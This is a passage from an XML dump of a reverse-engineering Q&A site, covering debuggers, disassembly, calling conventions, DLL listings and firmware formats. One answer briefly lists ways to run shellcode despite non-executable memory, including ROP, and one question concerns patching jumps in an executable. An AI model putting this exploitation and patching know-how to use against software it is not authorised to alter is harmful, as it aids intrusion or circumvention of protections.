[Section]&#xA;    USERENV.dll [Section]&#xA;    USP10.dll [Section]&#xA;    WININET.dll [Section]&#xA;    WINTRUST.dll [Section]&#xA;    WLDAP32.dll [Section]&#xA;    WS2_32.dll [Section]&#xA;\KnownDlls32 [Directory]&#xA;    advapi32.dll [Section]&#xA;    api-ms-win-downlevel-advapi32-l1-1-0.dll [Section]&#xA;    api-ms-win-downlevel-normaliz-l1-1-0.dll [Section]&#xA;    api-ms-win-downlevel-ole32-l1-1-0.dll [Section]&#xA;    api-ms-win-downlevel-shlwapi-l1-1-0.dll [Section]&#xA;    api-ms-win-downlevel-user32-l1-1-0.dll [Section]&#xA;    api-ms-win-downlevel-version-l1-1-0.dll [Section]&#xA;    CFGMGR32.dll [Section]&#xA;    clbcatq.dll [Section]&#xA;    COMCTL32.dll [Section]&#xA;    COMDLG32.dll [Section]&#xA;    CRYPT32.dll [Section]&#xA;    CRYPTBASE.dll [Section]&#xA;    DEVOBJ.dll [Section]&#xA;    difxapi.dll [Section]&#xA;    gdi32.dll [Section]&#xA;    IERTUTIL.dll [Section]&#xA;    IMAGEHLP.dll [Section]&#xA;    IMM32.dll [Section]&#xA;    kernel32.dll [Section]&#xA;    KERNELBASE.dll [Section]&#xA;    KnownDllPath [SymbolicLink] -&amp;gt; C:\Windows\syswow64&#xA;    LPK.dll [Section]&#xA;    MSASN1.dll [Section]&#xA;    MSCTF.dll [Section]&#xA;    MSVCRT.dll [Section]&#xA;    NORMALIZ.dll [Section]&#xA;    NSI.dll [Section]&#xA;    ntdll.dll [Section]&#xA;    ole32.dll [Section]&#xA;    OLEAUT32.dll [Section]&#xA;    profapi.dll [Section]&#xA;    PSAPI.DLL [Section]&#xA;    rpcrt4.dll [Section]&#xA;    sechost.dll [Section]&#xA;    Setupapi.dll [Section]&#xA;    SHELL32.dll [Section]&#xA;    SHLWAPI.dll [Section]&#xA;    SspiCli.dll [Section]&#xA;    URLMON.dll [Section]&#xA;    user32.dll [Section]&#xA;    USERENV.dll [Section]&#xA;    USP10.dll [Section]&#xA;    WININET.dll [Section]&#xA;    WINTRUST.dll [Section]&#xA;    WLDAP32.dll [Section]&#xA;    WS2_32.dll [Section]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="245" LastActivityDate="2018-07-13T21:44:31.897" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18794" PostTypeId="2" ParentId="14973" CreationDate="2018-07-14T02:44:55.670" Score="2" Body="&lt;p&gt;Recent versions of Hopper do let you define the types for local variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the focus on a procedure open the inspector and navigate down to the &quot;Local Variables&quot; section. Double click on the variable you want to change and a dialog will appear where you can change the name /and/ set the type for that variable.&lt;/p&gt;&#xA;" OwnerUserId="4211" LastActivityDate="2018-07-14T02:44:55.670" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18795" PostTypeId="2" ParentId="18786" CreationDate="2018-07-14T02:47:31.910" Score="2" Body="&lt;p&gt;What you want is IDA Marker. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alt+M&lt;/strong&gt; to make a marked comment at current cursor location&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ctrl+M&lt;/strong&gt; to bring up a window showing all marked comments &lt;/p&gt;&#xA;" OwnerUserId="18722" LastActivityDate="2018-07-14T02:47:31.910" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18797" PostTypeId="1" AcceptedAnswerId="18798" CreationDate="2018-07-14T15:49:01.923" Score="0" ViewCount="81" Body="&lt;p&gt;i.e. on a page, I see that after i.e. 5 seconds of page load, there appears a message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hello Akubatula, you are wonderful.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lets say, i want to find out, from where does the word &lt;code&gt;wonderful&lt;/code&gt; comes from. It is not in source, I can't find it in  sources ( &lt;code&gt;Inspect&amp;gt;Sources&amp;gt;CTRL+SHIFT+S&lt;/code&gt;)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i find from which script/event it is loaded?&#xA;I know a bit about breakpoints, but i was unable to find that moment/script, which triggers that event. Is that possible to breakpoint or search by that string?&lt;/p&gt;&#xA;" OwnerUserId="10008" LastActivityDate="2018-07-14T18:18:45.940" Title="Find out where the string comes from (in Browser)" Tags="|debugging|websites|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18798" PostTypeId="2" ParentId="18797" CreationDate="2018-07-14T18:18:45.940" Score="1" Body="&lt;p&gt;Sounds like it could be data coming from the server via an AJAX call, where they perhaps have a service that fetches a message (at random?) from within an array of messages like that. If it is, then assuming you're in Chrome:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Click the &lt;code&gt;Network&lt;/code&gt; tab.&lt;/li&gt;&#xA;&lt;li&gt;Click the &lt;code&gt;XHR&lt;/code&gt; button. If you do not see it, then you'll need to click the &lt;code&gt;Filter&lt;/code&gt; icon first.&lt;/li&gt;&#xA;&lt;li&gt;Make sure the &lt;code&gt;Record&lt;/code&gt; icon is on (red).&lt;/li&gt;&#xA;&lt;li&gt;Refresh the page and then wait for that message to appear on the page. If it doesn't, then if you don't mind logging back in and everything, you may need to click the &lt;code&gt;Application&lt;/code&gt; tab, then &lt;code&gt;Clear storage&lt;/code&gt;, then the &lt;code&gt;Clear site data&lt;/code&gt; button (which will effectively make it as though you're visiting the site for the very first time from your device/browser, though this won't do much if they remotely track that behavior).&lt;/li&gt;&#xA;&lt;li&gt;Just before, you should have seen new activity in your Network window.&lt;/li&gt;&#xA;&lt;li&gt;If so, click on the XHR names of interest, then in the right-hand pane (of which you may need to stretch DevTools out farther to see), look in the &lt;code&gt;Preview&lt;/code&gt; and/or &lt;code&gt;Response&lt;/code&gt; tabs and see if you see your text there, perhaps as a JSON key/value pair (i.e., &lt;code&gt;{&quot;msg&quot;:&quot;Here is your message&quot;}&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;If so, then you can click the &lt;code&gt;Headers&lt;/code&gt; tab to get more information on the API call, then go about looking for information related to the data therein, residing in the client-side source files.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2018-07-14T18:18:45.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18799" PostTypeId="1" CreationDate="2018-07-14T19:40:39.690" Score="1" ViewCount="177" Body="&lt;p&gt;When I debug android app through jdwp using jdb, it seems I can't get anything from the bytecode level. I know normally it's fine as long as we have the source line info and use a decompiler, but the problem is the author intentionally removed the source line information and I can only get bytecode index but not line number. I want to track the values of the local variables but problem is they are removed intentionally, and in this way I can't just print the local variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way that I can query through debugger to get the temp values similar to the debugging in Windows where we can get the values of registers/memory? Below is an example of the method that I runn into, there's no line info, no method signature info)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XXXClass.onMenuItemClick(), line=-1 bci=1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(stack trace)&#xA; [1] XXXClass.onMenuItemClick (null)&lt;/p&gt;&#xA;" OwnerUserId="20811" LastActivityDate="2018-07-14T19:40:39.690" Title="Is there any way to get value from bytecode under JDWP without access to source?" Tags="|debugging|android|java|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18800" PostTypeId="1" AcceptedAnswerId="18804" CreationDate="2018-07-15T03:00:19.190" Score="0" ViewCount="470" Body="&lt;p&gt;So my C program looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;    int a = 5;&#xA;    int b = 1;&#xA;    int c = add(a, b);&#xA;    printf(&quot;%d&quot;, c);&#xA;    return 0;&#xA;}&#xA;&#xA;int add(int a, int b){&#xA;    return a + b;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I am trying to understand the behaviour of how parameters are passed into the stack. In order to do the same, I reversed the code to disassembly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Qr3nT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qr3nT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qQLrj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qQLrj.png&quot; alt=&quot;main_function&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now &lt;code&gt;esp&lt;/code&gt; is being copied into &lt;code&gt;ebp&lt;/code&gt; in the &lt;code&gt;add&lt;/code&gt; function, then why add &lt;code&gt;8&lt;/code&gt; and &lt;code&gt;12&lt;/code&gt; to access the values &lt;code&gt;5&lt;/code&gt; and &lt;code&gt;1&lt;/code&gt; in the next lines - shouldn't it be &lt;code&gt;[ebp]&lt;/code&gt; and &lt;code&gt;[ebp + 4h]&lt;/code&gt;? I am really confused here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="24811" LastEditorUserId="24811" LastEditDate="2018-07-15T12:29:42.803" LastActivityDate="2018-07-15T12:29:42.803" Title="Addition Function Parameter Location in Assembly Stack Memory" Tags="|disassembly|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18801" PostTypeId="2" ParentId="18800" CreationDate="2018-07-15T05:28:55.790" Score="2" Body="&lt;p&gt;ebp is an address     likewise esp ia an address like  0x12345678  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;esp is not copied &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is assigned so after mov ebp,esp&lt;br&gt;&#xA;both will be same address  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in high level language it would be like  ebp = esp&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now since ebp is an address it can hold a value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that is  ebp can hold 0x12345678  ( ebp ,xxx is a pointer to the underlying data )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so ebp = 0x12345678  a pointer points to data 0x12345678 a data variable  ( like your 5 and 1 )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ebp          12345678  holds 1&#xA;ebp +4     1234567c holds  x&#xA;evp+8      12345680 holds y&lt;/p&gt;&#xA;&#xA;&lt;p&gt;since ebp and esp are same  esp+8 will also be holding y &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this part is called prologue   in the function construct &#xA;and creates a frame  in the stack &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the square brackets denotes  access to the underlying data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so if you want to access ebp +c     you may need &lt;/p&gt;&#xA;&#xA;&lt;p&gt;mov somereg  ebp &#xA;add samereg   0xc&#xA;now this register will hold 0x12345680&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what if you want to access  y &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the you need the square bracket around  ox12345680&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like  get me what is dereferenced by  [0x12345680]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that is  mov somereg  [ebp + c]&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-07-15T05:28:55.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18803" PostTypeId="2" ParentId="18774" CreationDate="2018-07-15T09:47:23.283" Score="1" Body="&lt;p&gt;It’s hard to say for sure, but probably you’re not using the same library version or compression parameters as the original program. The same data may be represented by different compressed streams, so they can change with new versions which make compression more optimal or when you tweak some parameters, e.g. compression level. In general, slight differences in the compressed stream should not matter as long as the decompressed data is the same. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-07-15T09:47:23.283" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18804" PostTypeId="2" ParentId="18800" CreationDate="2018-07-15T10:15:40.493" Score="2" Body="&lt;p&gt;On x86, the stack is used &lt;em&gt;not only&lt;/em&gt; for passing the arguments. It can store other things as well, for example the return address of the function or the registers which need to be saved temporarily, as well as for local variables. In your example, the &lt;code&gt;push ebp&lt;/code&gt; adjusts &lt;code&gt;esp&lt;/code&gt; by 4 bytes, so after &lt;code&gt;esp&lt;/code&gt; is copied to &lt;code&gt;ebp&lt;/code&gt; in the next instruction, the stack frame looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [ebp+0] old ebp value (pushed by &quot;push ebp&quot;)&#xA; [ebp+4] return address from the call (originally at [esp+0])&#xA; [ebp+8] first argument (a)&#xA; [ebp+C] second argument (b)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-07-15T10:15:40.493" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18805" PostTypeId="2" ParentId="18768" CreationDate="2018-07-15T10:33:16.860" Score="2" Body="&lt;p&gt;well, you can’t execute non-executable pages, so you have the following options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use an executable memory area for your shellcode if available. &lt;/li&gt;&#xA;&lt;li&gt;somehow force the program to mark the memory with shellcode as executable &lt;/li&gt;&#xA;&lt;li&gt;use ROP (return-oriented programming) instead of straight executable shellcode. The ROP payload does not need to be executable since it borrows executable gadgets from the existing code areas in the process. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-07-15T10:33:16.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18807" PostTypeId="2" ParentId="18732" CreationDate="2018-07-15T13:01:45.190" Score="1" Body="&lt;p&gt;Unfortunately QEMU is not well suited for your use case. As explained in your addendum, it is mostly used to emulate embedded Linux systems, that’s why there are many assumptions in its code: that the kernel is a Linux kernel (i.e. an ELF file) and the disk image contains a Linux rootfs. In addition, the specific hardware configurations (“machines”) emulated by QEMU are mostly limited to those that are supported by Linux. That does not mean that it can’t emulate non-Linux systems or hardware not supported by Linux, but to support anything unusual or non-mainstream you’ll probably have to do some coding, either to add support for your specific hardware or for the firmware layout you have so that QEMU can emulate it properly using the framework that already exists inside the code. However, using unmodified QEMU build is likely not enough for your use case. If you want to try your hand at extending QEMU I’d recommend you to contact the developers, e.g. on their mailing list for concrete recommendations. I’m afraid such work is outside of scope of this site so I’m finishing my answer here. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-07-15T13:01:45.190" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18809" PostTypeId="2" ParentId="18792" CreationDate="2018-07-15T19:26:23.437" Score="1" Body="&lt;p&gt;if they are Microsoft dlls you are interested to know about &#xA;then ms normally provides a concise description of its  dlls functionality in it FileVersion information      &lt;/p&gt;&#xA;&#xA;&lt;p&gt;also other legitimate dlls do provide this information     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(malware dlls or unknown authors dlls may not have it or may be faked up so it is just an indicator that can be trusted with a trusted base of dll not for arbitrary binaries )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can right click the dll in question and look at the Details Tab &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iPbxV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iPbxV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can script it to dump a bunch of dlls as shown below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;contents of batch file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;cat dlldesc.bat&#xA;@echo off&#xA;for /f %%i in ('dir /s /b c:\windows\system32\*.dll') do powershell -c &quot;(((get-command &quot;%%i).FileVersionInfo).FileDescri&#xA;ption)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result on execution &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;dlldesc.bat&#xA;Anywhere access client&#xA;acadficn&#xA;Ease of access  control panel&#xA;Microsoft Internet Account Manager Resources&#xA;Access Control List Editor&#xA;Security Descriptor Editor&#xA;Compatibility Tab Shell Extension Library&#xA;Action Center&#xA;Action Center Control Panel&#xA;Unattend Action Queue Generator / Executor&#xA;ADs Router Layer DLL&#xA;ActiveX Interface Marshaling Library&#xA;ADAL.Native for x86&#xA;IEAK Global Policy Template Parser&#xA;Administrative Templates Extension&#xA;adprovider DLL&#xA;ADs LDAP Provider DLL&#xA;ADs LDAP Provider C DLL&#xA;ADs LDAP Provider DLL&#xA;ADs Windows NT Provider DLL&#xA;Security Audit Schema DLL&#xA;Terminate batch job (Y/N)? y&#xA;&#xA;C:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-07-15T19:26:23.437" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18810" PostTypeId="2" ParentId="18782" CreationDate="2018-07-16T08:11:11.173" Score="1" Body="&lt;p&gt;Windows applications do not work in isolation. They have to share the processor with all the other processes, services, drivers and so on. There may be a myriad reasons why a specific API call is slow, and it's quite unlikely the API itself is a problem. Especially with I/O, there are all the caches, drivers, and hardware itself (i.e. HDD/SSD) to consider. To get a global picture you can use something like already-mentioned &lt;code&gt;xperf&lt;/code&gt;, Windows' own Performance monitor,  or possibly the nice &lt;a href=&quot;https://github.com/google/UIforETW&quot; rel=&quot;nofollow noreferrer&quot;&gt;UIforETW&lt;/a&gt; GUI wrapper around them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a good starting point for investigating Windows performance issues using ETW: &lt;a href=&quot;https://randomascii.wordpress.com/2015/09/24/etw-central/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://randomascii.wordpress.com/2015/09/24/etw-central/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-07-16T08:11:11.173" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18812" PostTypeId="2" ParentId="18245" CreationDate="2018-07-16T13:57:30.673" Score="6" Body="&lt;h3&gt;Download&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Download the files&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;apis_def.zip&lt;/li&gt;&#xA;&lt;li&gt;xAnalyzer.dp32&lt;/li&gt;&#xA;&lt;li&gt;xAnalyzer.dp64&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;from&#xA;&lt;a href=&quot;https://github.com/ThunderCls/xAnalyzer/releases&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Steps&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Copy &lt;strong&gt;xAnalyzer.dp32&lt;/strong&gt; to x32/plugins directory&lt;/li&gt;&#xA;&lt;li&gt;Copy &lt;strong&gt;xAnalyzer.dp64&lt;/strong&gt; to x64/plugins directory&lt;/li&gt;&#xA;&lt;li&gt;Create a folder named &quot;&lt;strong&gt;apis_def&lt;/strong&gt;&quot; in both &lt;strong&gt;x32/plugins&lt;/strong&gt; &amp;amp; &lt;strong&gt;x64/plugins&lt;/strong&gt; directory&lt;/li&gt;&#xA;&lt;li&gt;Now copy the contents of &quot;&lt;strong&gt;apis_def.zip&lt;/strong&gt;&quot; into both &lt;strong&gt;&quot;apis_def&quot;&lt;/strong&gt; folder&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All done!&lt;/p&gt;&#xA;" OwnerUserId="25032" LastActivityDate="2018-07-16T13:57:30.673" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18813" PostTypeId="2" ParentId="18570" CreationDate="2018-07-16T14:13:09.973" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Simplification:&lt;/strong&gt; All the memory offsets are in decimal. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc_1400055B6:&#xA;mov     [rsp+200], rsi&#xA;mov     rax, gs:60h&#xA;mov     rcx, [rax+32]&#xA;mov     rdx, [rcx+16]&#xA;mov     rax, [r12]              ;load lpVtbl pointer&#xA;mov     r10, [rax+48]           ;sixth (48/8) function after QueryInterface&#xA;lea     rax, [rsp+168]&#xA;mov     [rsp+96], rax           ;13th parameter&#xA;lea     rax, [rsp+200]&#xA;mov     [rsp+88], rax           ;12th parameter&#xA;mov     [rsp+80], rsi           ;11th parameter&#xA;mov     [rsp+72], edx           ;10th parameter&#xA;mov     [rsp+64], r15           ;9th parameter&#xA;mov     eax, [rsp+744]&#xA;mov     [rsp+56], eax           ;8th parameter&#xA;mov     rax, [rsp+736]&#xA;mov     [rsp+48], rax           ;7th parameter&#xA;mov     rax, [rsp+616]&#xA;mov     [rsp+40], rax           ;6th parameter&#xA;mov     rax, [rsp+592]&#xA;mov     [rsp+32], rax           ;5th parameter&#xA;mov     r9, [rsp+600]           ;4th parameter&#xA;mov     r8d, [rsp+196]          ;3rd parameter&#xA;mov     rdx, [rsp+608]          ;2nd parameter&#xA;mov     rcx, r12                ;1st parameter aka. 'this' pointer &#xA;mov     rax, r10                ;sixth function after QueryInterface&#xA;call    cs:__guard_dispatch_icall_fptr&#xA;mov     rcx, [rsp+378h]&#xA;test    eax, eax&#xA;js      loc_140005FF4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Explanation:&lt;/strong&gt; The binary is a Windows 64bit executable. It is not easily possible to get details of function parameters with pseudo-code only. The assembly code defines more than that. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The function follows &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/build/overview-of-x64-calling-conventions&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;__fastcall&lt;/code&gt; convention&lt;/a&gt;. Quote from &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/build/overview-of-x64-calling-conventions&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt;: &quot;Integer arguments are passed in registers &lt;code&gt;RCX&lt;/code&gt;, &lt;code&gt;RDX&lt;/code&gt;, &lt;code&gt;R8&lt;/code&gt;, and &lt;code&gt;R9&lt;/code&gt;&quot;. As you can see the assembly follows same rule from 1st to 4th parameter. Then the rest of parameters are stored in stack with increment of &lt;code&gt;[RSP+32]&lt;/code&gt; to &lt;code&gt;[RSP+96]&lt;/code&gt;. For example: &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;func1(int a, int b, int c, int d, int e);&#xA;// a in RCX, b in RDX, c in R8, d in R9, e pushed on stack &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hence IDA only takes the four general 64bit registers as parameters only, not the stack variables and it shows only four parameters instead of thirteen parameters. At last, ignore the calling of &lt;code&gt;__guard_dispatch_icall_fptr&lt;/code&gt; function, it's just a &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/secbp/control-flow-guard&quot; rel=&quot;nofollow noreferrer&quot;&gt;Control Flow Guard&lt;/a&gt; added by M$ Visual Studio compiler. &lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="23069" LastEditorUserId="60" LastEditDate="2020-06-16T15:13:49.047" LastActivityDate="2020-06-16T15:13:49.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18814" PostTypeId="1" AcceptedAnswerId="18859" CreationDate="2018-07-16T17:51:33.730" Score="0" ViewCount="7702" Body="&lt;p&gt;I have found two if statements in an application that I want to alter.  I've made the two changes and saved the patch file using x32dgb and the application boots up successfully, however; the change doesn't seem to be taking affect nor is it there when I debug the saved patch .exe file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, my patches don't seem to be saved into the new exe!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With my breakpoints saved, I looked the two locations that I need to change, and on initial application load I noticed the addresses contain totally different instructions and not all memory addresses are shown in the left most column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how x32dgb looked when I successfully loaded the application:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HmfDe.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HmfDe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when application loads:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8nRIq.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8nRIq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why the patches are not working?  Do I need to take a different approach?&lt;/p&gt;&#xA;" OwnerUserId="25037" LastEditorUserId="53" LastEditDate="2018-07-16T19:49:14.597" LastActivityDate="2018-07-21T16:59:18.267" Title="Trying to change JE to JNE in x32dbg for instructions that change" Tags="|patching|" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="18815" PostTypeId="2" ParentId="18779" CreationDate="2018-07-16T18:37:56.510" Score="1" Body="&lt;p&gt;One (or both) of you can just rebase the program and that should display all the addresses as being the same. If you want him to rebase his program to be the same as yours, figure out your base address (scroll to the top of your &lt;code&gt;.exe&lt;/code&gt; in &lt;code&gt;Text View&lt;/code&gt;) and then have your friend go to &lt;strong&gt;Edit -&gt; Segments -&gt; Rebase Program...&lt;/strong&gt; and when prompted have him put in your base address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can both just rebase to the same base address, e.g. &lt;code&gt;0x10000000&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24714" LastActivityDate="2018-07-16T18:37:56.510" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18816" PostTypeId="1" CreationDate="2018-07-16T21:15:10.050" Score="2" ViewCount="379" Body="&lt;p&gt;I have a binary file that I found on a 3D printer that is used to program a dsPIC30F5011 microcontroller. It is responsible for some basic data encryption. The only problem is, I am not sure how this file is formatted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is raw binary, not like an Intel HEX file or anything. Here's a few sample lines:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;0C4230050037600010E0801802003B21&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0C424001F02C1A00370004BE6011B819&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0C42506B09200982CF0200390882CFE0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0C42600441B06942520E003208003BDD&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For the first line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the first byte (0x0C) is the length of the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next two bytes (0x4230) is the address (I believe it is twice the address, I'll explain that further down)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then is the data (length 0x0C in this case)  - 050037600010E0801802003Bh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last two bytes are a Checksum  - 2's complement of the lower byte of the sum of all bytes (length through end of data). &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The reason I believe the address listed is twice the address desired is in the &lt;a href=&quot;http://ww1.microchip.com/downloads/en/DeviceDoc/70102J.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Programming Manual&lt;/a&gt; the Intel Hex format says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;• AAAA - is a four-digit hexadecimal address&#xA;  representing the starting address of the data&#xA;  record. Format is high byte first followed by low&#xA;  byte. The address is doubled because this format&#xA;  only supports 8-bits. Divide the value by two to&#xA;  find the real device address.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In fact, this format closely matches the Intel HEX format, although it isn't in ASCII format, nor does it use valid record types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, the last few commands in the file reference address 0x0008 - 0x01FF. Dividing this by 2 gives us 0x0004 - 0x00FF, which according to the &lt;a href=&quot;http://ww1.microchip.com/downloads/en/DeviceDoc/70116J.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;datasheet&lt;/a&gt; is the interrupt vector locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been poking at this for ages, and I can't seem to understand how this is actually translated to the MCU. For one thing, the addresses all increment in 16 byte increments, despite the fact that there is only 12 bytes of data in that line. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can make any sense out of this, I feel like I am at wit's end on this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a 